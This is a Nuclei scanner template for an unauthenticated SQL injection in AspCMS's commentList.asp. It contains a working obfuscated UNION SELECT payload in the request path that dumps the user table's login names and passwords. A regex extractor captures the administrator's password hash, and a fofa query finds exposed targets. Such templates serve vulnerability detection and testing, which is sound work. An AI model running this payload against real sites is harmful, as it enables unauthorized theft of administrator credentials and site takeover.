36 lines
1.3 KiB
YAML
36 lines
1.3 KiB
YAML
id: aspcms-commentlist-sqli
|
|
|
|
info:
|
|
name: AspCMS commentList.asp - SQL Injection
|
|
author: SleepingBag945
|
|
severity: high
|
|
description: |
|
|
An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
|
|
reference:
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="ASPCMS"
|
|
tags: aspcms,sqli,unauth
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: admin_password
|
|
group: 1
|
|
regex:
|
|
- "<div class=\"line2\">(.*?)</div>"
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "status_code_1 == 200"
|
|
- "contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
|
|
condition: and
|
|
|
|
# digest: 4b0a00483046022100e047c4e5bf72cbede2f5bf28f53b09ca9046716a63492ef267a9f84993f690de022100a5201dbe094c36a2967feac7a3d5b011729c516c1753622c319f502dcc9215d8:922c64590222798bb761d5b6d8e72950
|